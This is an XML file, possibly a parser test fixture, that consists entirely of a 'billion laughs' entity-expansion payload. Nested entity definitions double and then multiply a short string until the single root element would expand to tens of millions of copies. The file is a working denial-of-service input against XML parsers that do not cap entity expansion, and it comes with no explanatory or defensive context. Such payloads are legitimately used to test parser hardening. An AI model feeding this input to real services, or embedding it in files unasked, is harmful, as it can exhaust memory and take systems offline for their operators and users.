1 <?xml version="1.0"?> 2 <!DOCTYPE billion [ 3 <!ELEMENT billion (#PCDATA)> 4 <!ENTITY laugh0 "ha"> 5 <!ENTITY laugh1 "&laugh0;&laugh0;"> 6 <!ENTITY laugh2 "&laugh1;&laugh1;"> 7 <!ENTITY laugh3 "&laugh2;&laugh2;"> 8 <!ENTITY laugh4 "&laugh3;&laugh3;"> 9 <!ENTITY laugh5 "&laugh4;&laugh4;"> 10 <!ENTITY laugh6 "&laugh5;&laugh5;"> 11 <!ENTITY laugh7 "&laugh6;&laugh6;"> 12 <!ENTITY laugh8 "&laugh7;&laugh7;"> 13 <!ENTITY laugh9 "&laugh8;&laugh8;"> 14 <!ENTITY laugh10 "&laugh9;&laugh9;"> 15 <!ENTITY laugh11 16 "&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;"> 17 <!ENTITY laugh12 18 "&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;"> 19 <!ENTITY laugh13 20 "&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;"> 21 ]> 22 <billion>&laugh13;</billion> 23 24